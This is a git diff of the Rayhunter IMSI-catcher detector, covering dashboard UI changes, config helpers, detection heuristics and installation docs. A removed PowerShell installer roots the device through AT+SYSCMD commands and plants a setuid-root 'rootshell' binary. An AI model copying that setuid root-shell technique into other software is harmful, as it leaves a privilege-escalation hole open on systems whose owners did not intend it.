<th class='p-2' scope="col">ZIP</th>
|
||||
<th class='p-2' scope="col">Analysis</th>
|
||||
<th class='p-2' scope="col">Delete</th>
|
||||
<th class='p-2' scope="col"></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#if current_entry !== undefined}
|
||||
<TableRow entry={current_entry} current={true} i={0} />
|
||||
{/if}
|
||||
{#each entries as entry, i}
|
||||
<TableRow {entry} current={false} {i} />
|
||||
{/each}
|
||||
</tbody>
|
||||
</table>
|
||||
<!--For smaller screens we use cards-->
|
||||
<div class="lg:hidden flex flex-col gap-4">
|
||||
{#each entries as entry, i}
|
||||
<Card {entry} current={false} {i} {server_is_recording} />
|
||||
{/each}
|
||||
</div>
|
||||
@@ -7,7 +7,7 @@
|
||||
let { entry, current, i }: {
|
||||
entry: ManifestEntry;
|
||||
current: boolean;
|
||||
i: number
|
||||
i: number;
|
||||
} = $props();
|
||||
|
||||
// passing `undefined` as the locale uses the browser default
|
||||
@@ -29,14 +29,15 @@
|
||||
}
|
||||
</script>
|
||||
|
||||
<tr class="{status_row_color}">
|
||||
<th class="font-bold p-2 bg-blue-100" scope='row'>{entry.name}</th>
|
||||
<tr class="{status_row_color} drop-shadow">
|
||||
<td class="p-2">{entry.name}</td>
|
||||
<td class="p-2">{date_formatter.format(entry.start_time)}</td>
|
||||
<td class="p-2">{date_formatter.format(entry.last_message_time)}</td>
|
||||
<td class="p-2">{entry.qmdl_size_bytes}</td>
|
||||
<td class="p-2">{entry.last_message_time && date_formatter.format(entry.last_message_time) || "N/A"}</td>
|
||||
<td class="p-2">{entry.get_readable_qmdl_size()}</td>
|
||||
<td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
|
||||
<td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
|
||||
<td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} /></td>
|
||||
<td class="p-2"><DownloadLink url={entry.get_zip_url()} text="zip" /></td>
|
||||
<td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></td>
|
||||
{#if current}
|
||||
<td class="p-2"></td>
|
||||
{:else}
|
||||
@@ -49,8 +50,7 @@
|
||||
{/if}
|
||||
</tr>
|
||||
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
|
||||
<td class="font-bold p-2 bg-blue-100"></td>
|
||||
<td class="border-t border-dashed p-2" colspan="7">
|
||||
<td class="border-t border-dashed p-2" colspan="9">
|
||||
<AnalysisView {entry} />
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
@@ -17,8 +17,7 @@
|
||||
client_set_recording = false;
|
||||
}
|
||||
|
||||
const stop_recording_classes = "bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md";
|
||||
const start_recording_classes = "bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md";
|
||||
const recording_button_classes = "text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1";
|
||||
</script>
|
||||
|
||||
<div>
|
||||
@@ -27,9 +26,19 @@
|
||||
{server_is_recording ? "Stopping..." : "Starting..."}
|
||||
</button>
|
||||
{:else if server_is_recording}
|
||||
<button class={stop_recording_classes} onclick={stop_recording}>Stop Recording</button>
|
||||
<button class="{recording_button_classes} bg-red-500 hover:bg-red-700" onclick={stop_recording}>
|
||||
<span>Stop</span>
|
||||
<svg class="w-6 h-6 text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z"/>
|
||||
</svg>
|
||||
</button>
|
||||
{:else}
|
||||
<button class={start_recording_classes} onclick={start_recording}>Start Recording</button>
|
||||
<button class="{recording_button_classes} bg-blue-500 hover:bg-blue-700" onclick={start_recording}>
|
||||
<span>Start</span>
|
||||
<svg class="w-6 h-6 text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path fill-rule="evenodd" d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z" clip-rule="evenodd"/>
|
||||
</svg>
|
||||
</button>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
|
||||
@@ -4,31 +4,32 @@
|
||||
stats: SystemStats;
|
||||
} = $props();
|
||||
|
||||
const table_cell_classes = "border p-1 lg:p-2";
|
||||
</script>
|
||||
|
||||
<div>
|
||||
<p class="text-xl">System Stats</p>
|
||||
<div class="flex-1 drop-shadow p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100">
|
||||
<p class="text-xl mb-2">System Information</p>
|
||||
<table class="table-auto border">
|
||||
<tbody>
|
||||
<tr class="border">
|
||||
<th class="border">
|
||||
Rayhunter version
|
||||
<th class={table_cell_classes}>
|
||||
Rayhunter Version
|
||||
</th>
|
||||
<td class="border">{stats.runtime_metadata.rayhunter_version}</td>
|
||||
<td class={table_cell_classes}>{stats.runtime_metadata.rayhunter_version}</td>
|
||||
</tr>
|
||||
<tr class="border">
|
||||
<th class="border">
|
||||
<th class={table_cell_classes}>
|
||||
Storage
|
||||
</th>
|
||||
<td class="border">
|
||||
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} / {stats.disk_stats.available_size})
|
||||
<td class={table_cell_classes}>
|
||||
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} used / {stats.disk_stats.available_size} available)
|
||||
</td>
|
||||
</tr>
|
||||
<tr class="border-b">
|
||||
<th class="border">
|
||||
<th class={table_cell_classes}>
|
||||
Memory (RAM)
|
||||
</th>
|
||||
<td class="border">
|
||||
<td class={table_cell_classes}>
|
||||
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
@@ -64,11 +64,20 @@ export class ManifestEntry {
|
||||
this.qmdl_size_bytes = json.qmdl_size_bytes;
|
||||
this.analysis_size_bytes = json.analysis_size_bytes;
|
||||
this.start_time = new Date(json.start_time);
|
||||
if (json.last_message_time !== undefined) {
|
||||
if (json.last_message_time) {
|
||||
this.last_message_time = new Date(json.last_message_time);
|
||||
}
|
||||
}
|
||||
|
||||
get_readable_qmdl_size(): string {
|
||||
if (this.qmdl_size_bytes === 0) return "0 Bytes";
|
||||
const k = 1024;
|
||||
const dm = 2 || 2;
|
||||
const sizes = ["Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"];
|
||||
const i = Math.floor(Math.log(this.qmdl_size_bytes) / Math.log(k));
|
||||
return `${Number.parseFloat((this.qmdl_size_bytes / k ** i).toFixed(dm))} ${sizes[i]}`;
|
||||
}
|
||||
|
||||
get_num_warnings(): number | undefined {
|
||||
if (this.analysis_report === undefined || typeof(this.analysis_report) === 'string') {
|
||||
return undefined;
|
||||
@@ -77,11 +86,15 @@ export class ManifestEntry {
|
||||
}
|
||||
|
||||
get_pcap_url(): string {
|
||||
return `/api/pcap/${this.name}`;
|
||||
return `/api/pcap/${this.name}.pcapng`;
|
||||
}
|
||||
|
||||
get_qmdl_url(): string {
|
||||
return `/api/qmdl/${this.name}`;
|
||||
return `/api/qmdl/${this.name}.qmdl`;
|
||||
}
|
||||
|
||||
get_zip_url(): string {
|
||||
return `/api/zip/${this.name}.zip`;
|
||||
}
|
||||
|
||||
get_analysis_report_url(): string {
|
||||
|
||||
@@ -1,6 +1,20 @@
|
||||
import { Manifest } from "./manifest.svelte";
|
||||
import type { SystemStats } from "./systemStats";
|
||||
|
||||
export interface AnalyzerConfig {
|
||||
imsi_requested: boolean;
|
||||
connection_redirect_2g_downgrade: boolean;
|
||||
lte_sib6_and_7_downgrade: boolean;
|
||||
null_cipher: boolean;
|
||||
}
|
||||
|
||||
export interface Config {
|
||||
ui_level: number;
|
||||
colorblind_mode: boolean;
|
||||
key_input_mode: number;
|
||||
analyzers: AnalyzerConfig;
|
||||
}
|
||||
|
||||
export async function req(method: string, url: string): Promise<string> {
|
||||
const response = await fetch(url, {
|
||||
method: method,
|
||||
@@ -21,3 +35,22 @@ export async function get_manifest(): Promise<Manifest> {
|
||||
export async function get_system_stats(): Promise<SystemStats> {
|
||||
return JSON.parse(await req('GET', '/api/system-stats'));
|
||||
}
|
||||
|
||||
export async function get_config(): Promise<Config> {
|
||||
return JSON.parse(await req('GET', '/api/config'));
|
||||
}
|
||||
|
||||
export async function set_config(config: Config): Promise<void> {
|
||||
const response = await fetch('/api/config', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify(config)
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.text();
|
||||
throw new Error(error);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,10 +2,13 @@
|
||||
import { ManifestEntry } from "$lib/manifest.svelte";
|
||||
import { get_manifest, get_system_stats } from "$lib/utils.svelte";
|
||||
import ManifestTable from "$lib/components/ManifestTable.svelte";
|
||||
import Card from "$lib/components/ManifestCard.svelte";
|
||||
import type { SystemStats } from "$lib/systemStats";
|
||||
import { AnalysisManager } from "$lib/analysisManager.svelte";
|
||||
import SystemStatsTable from "$lib/components/SystemStatsTable.svelte";
|
||||
import ControlBar from "$lib/components/ControlBar.svelte";
|
||||
import DeleteAllButton from "$lib/components/DeleteAllButton.svelte";
|
||||
import RecordingControls from "$lib/components//RecordingControls.svelte";
|
||||
import ConfigForm from "$lib/components/ConfigForm.svelte";
|
||||
|
||||
let manager: AnalysisManager = new AnalysisManager();
|
||||
let loaded = $state(false);
|
||||
@@ -30,13 +33,54 @@
|
||||
})
|
||||
</script>
|
||||
|
||||
<h1 class="ml-8 mt-8 text-4xl font-extrabold">Rayhunter Dashboard</h1>
|
||||
<div class="p-8 flex flex-col gap-2">
|
||||
<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
|
||||
<img src="/rayhunter_text.png" class="h-10 xl:h-12"/>
|
||||
<div class="flex flex-row gap-4">
|
||||
<a class="flex flex-row gap-1 group" href="https://github.com/EFForg/rayhunter/issues" target="_blank">
|
||||
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Report Issue</span>
|
||||
<svg class="w-6 h-6 text-white group-hover:text-gray-400" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path fill-rule="evenodd" d="M12.006 2a9.847 9.847 0 0 0-6.484 2.44 10.32 10.32 0 0 0-3.393 6.17 10.48 10.48 0 0 0 1.317 6.955 10.045 10.045 0 0 0 5.4 4.418c.504.095.683-.223.683-.494 0-.245-.01-1.052-.014-1.908-2.78.62-3.366-1.21-3.366-1.21a2.711 2.711 0 0 0-1.11-1.5c-.907-.637.07-.621.07-.621.317.044.62.163.885.346.266.183.487.426.647.71.135.253.318.476.538.655a2.079 2.079 0 0 0 2.37.196c.045-.52.27-1.006.635-1.37-2.219-.259-4.554-1.138-4.554-5.07a4.022 4.022 0 0 1 1.031-2.75 3.77 3.77 0 0 1 .096-2.713s.839-.275 2.749 1.05a9.26 9.26 0 0 1 5.004 0c1.906-1.325 2.74-1.05 2.74-1.05.37.858.406 1.828.101 2.713a4.017 4.017 0 0 1 1.029 2.75c0 3.939-2.339 4.805-4.564 5.058a2.471 2.471 0 0 1 .679 1.897c0 1.372-.012 2.477-.012 2.814 0 .272.18.592.687.492a10.05 10.05 0 0 0 5.388-4.421 10.473 10.473 0 0 0 1.313-6.948 10.32 10.32 0 0 0-3.39-6.165A9.847 9.847 0 0 0 12.007 2Z" clip-rule="evenodd"/>
|
||||
</svg>
|
||||
</a>
|
||||
<a class="flex flex-row gap-1 group" href="https://efforg.github.io/rayhunter/" target="_blank">
|
||||
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Docs</span>
|
||||
<svg class="w-6 h-6 text-white group-hover:text-gray-400" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
|
||||
<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 19V4a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v13H7a2 2 0 0 0-2 2Zm0 0a2 2 0 0 0 2 2h12M9 3v14m7 0v4"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="m-4 xl:mx-8 flex flex-col gap-4">
|
||||
{#if loaded}
|
||||
<ControlBar server_is_recording={recording} />
|
||||
<SystemStatsTable stats={system_stats!} />
|
||||
<ManifestTable entries={entries} current_entry={current_entry} />
|
||||
<div class="flex flex-col lg:flex-row gap-4">
|
||||
{#if recording}
|
||||
<Card entry={current_entry} current={true} i={0} server_is_recording={recording}/>
|
||||
{:else}
|
||||
<div class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between">
|
||||
<span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
|
||||
<svg class="w-8 h-8 text-red-600" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v5a1 1 0 1 0 2 0V8Zm-1 7a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2H12Z" clip-rule="evenodd"/>
|
||||
</svg>
|
||||
WARNING: Not Running
|
||||
</span>
|
||||
<span>Rayhunter is not currently running and will not detect abnormal behavior!</span>
|
||||
<div class="flex flex-row justify-end mt-2">
|
||||
<RecordingControls {recording} />
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
<SystemStatsTable stats={system_stats!} />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<span class="text-xl">History</span>
|
||||
<ManifestTable entries={entries} server_is_recording={recording} />
|
||||
</div>
|
||||
<DeleteAllButton/>
|
||||
<ConfigForm />
|
||||
{:else}
|
||||
<p>Loading...</p>
|
||||
<div class="flex flex-col justify-center items-center">
|
||||
<img src="/rayhunter_orca_only.png" class="h-48 animate-spin"/>
|
||||
<p class="text-xl">Loading...</p>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
|
After Width: | Height: | Size: 218 KiB |
|
After Width: | Height: | Size: 32 KiB |
|
After Width: | Height: | Size: 27 KiB |
@@ -10,6 +10,11 @@ export default {
|
||||
fallback: undefined,
|
||||
precompress: false,
|
||||
strict: true
|
||||
})
|
||||
}),
|
||||
version: {
|
||||
// Use a deterministic version string for reproducible builds.
|
||||
// Without this option, SvelteKit will use a timestamp.
|
||||
name: process.env.GITHUB_SHA || 'dev'
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
@@ -3,3 +3,6 @@ authors = ["The Rayhunter Team"]
|
||||
language = "en"
|
||||
src = "doc"
|
||||
title = "Rayhunter - An IMSI Catcher Catcher"
|
||||
|
||||
[output.html]
|
||||
edit-url-template = "https://github.com/efforg/rayhunter/edit/main/{path}"
|
||||
|
||||
@@ -14,5 +14,18 @@ colorblind_mode = false
|
||||
#
|
||||
# TP-Link with one-bit display:
|
||||
# 0 = invisible mode
|
||||
# 1..3 = show emoji for status. :) for running, :( for warnings, no mouth for paused.
|
||||
# 1..3 = show emoji for status. :) for running, ! for warnings, no mouth for paused.
|
||||
ui_level = 1
|
||||
|
||||
# 0 = rayhunter does not read button presses
|
||||
# 1 = double-tapping the power button starts/stops recordings
|
||||
key_input_mode = 0
|
||||
|
||||
# Analyzer Configuration
|
||||
# Enable/disable specific IMSI catcher detection heuristics
|
||||
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
|
||||
[analyzers]
|
||||
imsi_requested = true
|
||||
connection_redirect_2g_downgrade = true
|
||||
lte_sib6_and_7_downgrade = true
|
||||
null_cipher = true
|
||||
|
||||
|
After Width: | Height: | Size: 152 KiB |
@@ -6,12 +6,14 @@
|
||||
- [Installing from the latest release (Windows)](./installing-from-release-windows.md)
|
||||
- [Installing from source](./installing-from-source.md)
|
||||
- [Updating Rayhunter](./updating-rayhunter.md)
|
||||
- [Configuration](./configuration.md)
|
||||
- [Uninstalling](./uninstalling.md)
|
||||
- [Using Rayhunter](./using-rayhunter.md)
|
||||
- [Rayhunter's heuristics](./heuristics.md)
|
||||
- [How we analyze a capture](./analyzing-a-capture.md)
|
||||
- [Supported devices](./supported-devices.md)
|
||||
- [TP-Link M7350](./tplink-m7350.md)
|
||||
- [TP-Link M7310](./tplink-m7310.md)
|
||||
- [Orbic RC400L](./orbic.md)
|
||||
- [Support, feedback, and community](./support-feedback-community.md)
|
||||
- [Frequently Asked Questions](./faq.md)
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
# Configuration
|
||||
|
||||
Rayhunter can be configured by editing `/data/rayhunter/config.toml` on the device. You can obtain a shell on [orbic](./orbic.md#obtaining-a-shell) and [tplink](./tplink-m7350.md#obtaining-a-shell) and edit the file manually. In future versions the web UI will allow you to edit the config as well.
|
||||
|
||||
View the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.example).
|
||||
@@ -18,3 +18,22 @@ Please note that this file may contain sensitive information such as your IMSI a
|
||||
### Should I get a locked or unlocked orbic device? What is the difference?
|
||||
|
||||
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
|
||||
|
||||
|
||||
### How do I re-enable USB tethering after installing Rayhunter?
|
||||
|
||||
Make sure USB tethering is also enabled in the Orbic's UI, and then run the following commands:
|
||||
|
||||
```sh
|
||||
installer util shell "echo 9 > /usrdata/mode.cfg"
|
||||
installer util shell reboot
|
||||
```
|
||||
|
||||
To disable tethering again:
|
||||
|
||||
```sh
|
||||
installer util shell "echo 3 > /usrdata/mode.cfg"
|
||||
installer util shell reboot
|
||||
```
|
||||
|
||||
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
|
||||
|
||||
@@ -1,3 +1,22 @@
|
||||
# Heuristics
|
||||
|
||||
TODO
|
||||
Rayhunter includes several analyzers to detect potential IMSI catcher activity. These can be enabled and disabled in your [config.toml](./configuration.md) file.
|
||||
|
||||
## Available Analyzers
|
||||
|
||||
- **IMSI Requested**: Tests whether the eNodeB sends an IMSI Identity Request NAS message. This
|
||||
can sometimes happen under normal circumstances when the network doesn't already have a TMSI
|
||||
(Temporary Mobile Subscriber ID or GUTI in 5G terminology) for your device. This most often
|
||||
happens when you first turn the device on, especially after it has been off for a long time or
|
||||
if you are in an area where ther is absolutely no connection to your service provider. This can
|
||||
also happen if you leave your device on while on an airplane and it suddenly connects to a new
|
||||
tower after being disconnected for a long time.
|
||||
However, if you get this warning at a time when you have been steadily connected to towers and the device has been on for a while it can be treated as suspcious.
|
||||
- **Connection Release/Redirected Carrier 2G Downgrade**: Tests if a cell
|
||||
releases our connection and redirects us to a 2G cell. This heuristic only
|
||||
makes sense in the US or other countries where there are no more operating 2G base stations.
|
||||
Users in contries where 2G is still in service (such as most of EU) may want to disable it.
|
||||
See https://en.wikipedia.org/wiki/2G#Past_2G_networks for information about your country.
|
||||
- **LTE SIB6/7 Downgrade**: Tests for LTE cells broadcasting a SIB type 6 and 7
|
||||
which include 2G/3G frequencies with higher priorities
|
||||
- **Null Cipher**: Tests whether the cell suggests using a null cipher (EEA0).
|
||||
|
||||
@@ -1,139 +1,32 @@
|
||||
# Installing from the latest release (Windows)
|
||||
|
||||
1. Install the [Zadig WinUSB driver](https://zadig.akeo.ie/).
|
||||
2. Download the latest `release.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases).
|
||||
3. Unzip `release.zip`.
|
||||
4. Save the `install.ps1` file below in the same directory as `install.sh`.
|
||||
5. Run the install script by double clicking on `install.ps1`. A powershell window will launch.
|
||||
The device will restart multiple times over the next few minutes.
|
||||
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
|
||||
6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](#usage-viewing-the-web-ui). You should also see a green line flash along the top of top the display on the device.
|
||||
Windows support in Rayhunter's installer is a work-in-progress. Depending on the device, the installation instructions differ.
|
||||
|
||||
# `install.ps1`
|
||||
```powershell
|
||||
## TP-Link
|
||||
|
||||
$global:adb = "./platform-tools-latest-windows/platform-tools/adb.exe"
|
||||
$global:serial = "./serial-windows-x86_64/serial.exe"
|
||||
1. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on [http://192.168.0.1](http://192.168.0.1).
|
||||
2. Download the latest release (must be at least 0.3.0), and unpack the zipfile.
|
||||
3. Open PowerShell or CMD in that extracted folder, and run the binary appropriate for your operating system: `./installer-windows-x86_64/installer tplink`
|
||||
4. Follow the instructions on the screen, if there are any.
|
||||
|
||||
function _adb_push {
|
||||
$proc = start-process -passthru -wait $global:adb -argumentlist "push", $args[0], $args[1]
|
||||
if ($proc.exitcode -ne 0) {
|
||||
write-host "push exited with exit code $($proc.exitcode)"
|
||||
}
|
||||
return $proc.exitcode
|
||||
}
|
||||
## Orbic
|
||||
|
||||
function _adb_shell {
|
||||
$proc = start-process -passthru -wait $global:adb -argumentlist "shell", $args[0]
|
||||
if ($proc.exitcode -ne 0) {
|
||||
write-host "shell exited with exit code $($proc.exitcode)"
|
||||
}
|
||||
return $proc.exitcode
|
||||
}
|
||||
1. Connect the device to your computer using the provided USB cable.
|
||||
1. Install the [Zadig WinUSB driver installer](https://zadig.akeo.ie/).
|
||||
1. Open Zadig, click options->show all devices
|
||||
|
||||
function _wait_for_adb_shell {
|
||||
do {
|
||||
start-sleep -seconds 1
|
||||
} until ((_adb_shell "cat /etc/ver.conf") -eq 0)
|
||||
}
|
||||

|
||||
|
||||
function _wait_for_atfwd_daemon {
|
||||
do {
|
||||
start-sleep -seconds 1
|
||||
} until ((_adb_shell "pgrep atfwd_daemon") -eq 0)
|
||||
}
|
||||
1. Select 'RNDIS (Interface 0)'
|
||||
|
||||
function force_debug_mode {
|
||||
write-host "Using adb at $($global:adb)"
|
||||
write-host "Forcing a switch into debug mode to enable ADB"
|
||||
&$global:serial "--root" | Out-Host
|
||||
write-host "adb enabled, waiting for reboot..." -nonewline
|
||||
_wait_for_adb_shell
|
||||
write-host " it's alive!"
|
||||
write-host "waiting for atfwd_daemon to start ..." -nonewline
|
||||
_wait_for_atfwd_daemon
|
||||
write-host " done!"
|
||||
}
|
||||

|
||||
|
||||
function setup_rootshell {
|
||||
_adb_push "rootshell" "/tmp"
|
||||
write-host "cp..."
|
||||
&$global:serial "AT+SYSCMD=cp /tmp/rootshell /bin/rootshell" | Out-Host
|
||||
start-sleep -seconds 1
|
||||
write-host "chown..."
|
||||
&$global:serial "AT+SYSCMD=chown root /bin/rootshell" | Out-Host
|
||||
start-sleep -seconds 1
|
||||
write-host "chmod..."
|
||||
&$global:serial "AT+SYSCMD=chmod 4755 /bin/rootshell" | Out-Host
|
||||
start-sleep -seconds 1
|
||||
_adb_shell '/bin/rootshell -c id'
|
||||
write-host "we have root!"
|
||||
}
|
||||
|
||||
function setup_rayhunter {
|
||||
&$global:serial "AT+SYSCMD=mkdir -p /data/rayhunter" | Out-Host
|
||||
_adb_push "config.toml.example" "/tmp/config.toml"
|
||||
&$global:serial "AT+SYSCMD=mv /tmp/config.toml /data/rayhunter" | Out-Host
|
||||
_adb_push "rayhunter-daemon-orbic/rayhunter-daemon" "/tmp/rayhunter-daemon"
|
||||
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter-daemon /data/rayhunter" | Out-Host
|
||||
_adb_push "scripts/rayhunter_daemon" "/tmp/rayhunter_daemon"
|
||||
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" | Out-Host
|
||||
_adb_push "scripts/misc-daemon" "/tmp/misc-daemon"
|
||||
&$global:serial "AT+SYSCMD=mv /tmp/misc-daemon /etc/init.d/misc-daemon" | Out-Host
|
||||
|
||||
&$global:serial "AT+SYSCMD=chmod 755 /data/rayhunter/rayhunter-daemon" | Out-Host
|
||||
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/rayhunter_daemon" | Out-Host
|
||||
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/misc-daemon" | Out-Host
|
||||
|
||||
write-host "waiting for reboot..."
|
||||
&$global:serial "AT+SYSCMD=shutdown -r -t 1 now" | Out-Host
|
||||
do {
|
||||
start-sleep -seconds 1
|
||||
} until ((_adb_shell "true 2> /dev/null") -ne 0)
|
||||
|
||||
_wait_for_adb_shell
|
||||
write-host "done!"
|
||||
}
|
||||
|
||||
function test_rayhunter {
|
||||
$URL = "http://localhost:8080"
|
||||
$fproc = start-process $global:adb -argumentlist "forward", "tcp:8080", "tcp:8080" -wait -passthru
|
||||
if ($fproc.exitcode -ne 0) {
|
||||
write-host "adb forward tcp:8080 tcp:8080 failed with exit code $($proc.exitcode)"
|
||||
return
|
||||
}
|
||||
write-host "checking for rayhunter server..." -nonewline
|
||||
$seconds = 0
|
||||
do {
|
||||
$resp = invoke-webrequest -uri $URL
|
||||
if ($resp.statuscode -eq 200) {
|
||||
write-host "success!"
|
||||
write-host "you can access rayhunter at $($URL)"
|
||||
return
|
||||
}
|
||||
start-sleep 1
|
||||
$seconds = $seconds + 1
|
||||
} until ($seconds -eq 30)
|
||||
write-host "timeout reached! failed to reach rayhunter url $($URL), something went wrong :("
|
||||
}
|
||||
|
||||
function get_android_tools {
|
||||
write-host "adb not found, downloading local copy"
|
||||
invoke-webrequest "https://dl.google.com/android/repository/platform-tools-latest-windows.zip" -outfile ./platform-tools-latest-windows.zip
|
||||
expand-archive -force -path "platform-tools-latest-windows.zip"
|
||||
}
|
||||
|
||||
if (-not (test-path -path $global:serial)) {
|
||||
write-error "can't find serial, aborting"
|
||||
return
|
||||
}
|
||||
|
||||
if (-not (test-path -path $global:adb)) {
|
||||
get_android_tools
|
||||
}
|
||||
|
||||
force_debug_mode
|
||||
setup_rootshell
|
||||
setup_rayhunter
|
||||
test_rayhunter
|
||||
```
|
||||
1. Click 'install driver' and wait for it to finish.
|
||||
2. Download the latest `rayhunter-vX.X.X.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases). The version you download will have numbers instead of X
|
||||
3. Unzip `rayhunter-vX.X.X` .
|
||||
1. Open a powershell terminal by pressing Win+R and typing `powershell` and hitting enter.
|
||||
5. Type `cd ~\Downloads\rayhunter-v<x.x.x>\installer-windows-x86_64` (**Replace <x.x.x> with the rayhunter version you just unzipped**) and hit enter.
|
||||
5. Run the install script: `.\installer.exe orbic` and hit enter.
|
||||
- The device will restart multiple times over the next few minutes.
|
||||
- You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
|
||||
6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](./using-rayhunter.md#the-web-ui). You should also see a green line flash along the top of top the display on the device.
|
||||
|
||||
@@ -2,33 +2,47 @@
|
||||
|
||||
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
|
||||
|
||||
1. Download the latest `release.tar` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases)
|
||||
2. Decompress the `release.tar` archive. Open the terminal and navigate to the folder
|
||||
1. Download the latest `rayhunter-vX.X.X.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases)
|
||||
2. Decompress the `rayhunter-vX.X.X.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!)
|
||||
|
||||
```bash
|
||||
mkdir ~/Downloads/release
|
||||
tar -xvf ~/Downloads/release.tar -C ~/Downloads/release
|
||||
cd ~/Downloads/release
|
||||
unzip ~/Downloads/rayhunter-vX.X.X.zip
|
||||
cd ~/Downloads/rayhunter-vX.X.X
|
||||
```
|
||||
|
||||
3. Turn on your device by holding the power button on the front.
|
||||
|
||||
* For the Orbic, connect the device using a USB-C cable.
|
||||
* For TP-Link, connect to its network using either WiFi or USB Tethering.
|
||||
* For the Orbic, connect the device using a USB-C cable.
|
||||
* For TP-Link, connect to its network using either WiFi or USB Tethering.
|
||||
|
||||
4. Run the install script for your operating system:
|
||||
|
||||
First, enter the correct subfolder for your operating system:
|
||||
- for Ubuntu on x64 arhitecture: `cd installer-ubuntu-24`
|
||||
- for Ubuntu on ARM64 arhitecture: `cd installer-ubuntu-24-aarch64`
|
||||
- for MacOS on Intel (old macbooks) architecture: `cd installer-macos-intel`
|
||||
- for MacOS on ARM (M1/M2 etc.) achitecture: `cd installer-macos-arm`
|
||||
- for Windows: `cd installer-windows-x86_64`
|
||||
|
||||
```bash
|
||||
./install orbic
|
||||
# or: ./install tplink
|
||||
# On MacOS, you must first remove the quarantine bit
|
||||
xattr -d com.apple.quarantine installer
|
||||
```
|
||||
Then run the installer:
|
||||
```bash
|
||||
./installer orbic
|
||||
# or: ./installer tplink
|
||||
```
|
||||
|
||||
The device will restart multiple times over the next few minutes.
|
||||
|
||||
You will know it is done when you see terminal output that says `Testing rayhunter... done`
|
||||
You will know it is done when you see terminal output that says `Testing Rayhunter... done`
|
||||
|
||||
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter). You should also see a green line flash along the top of top the display on the device.
|
||||
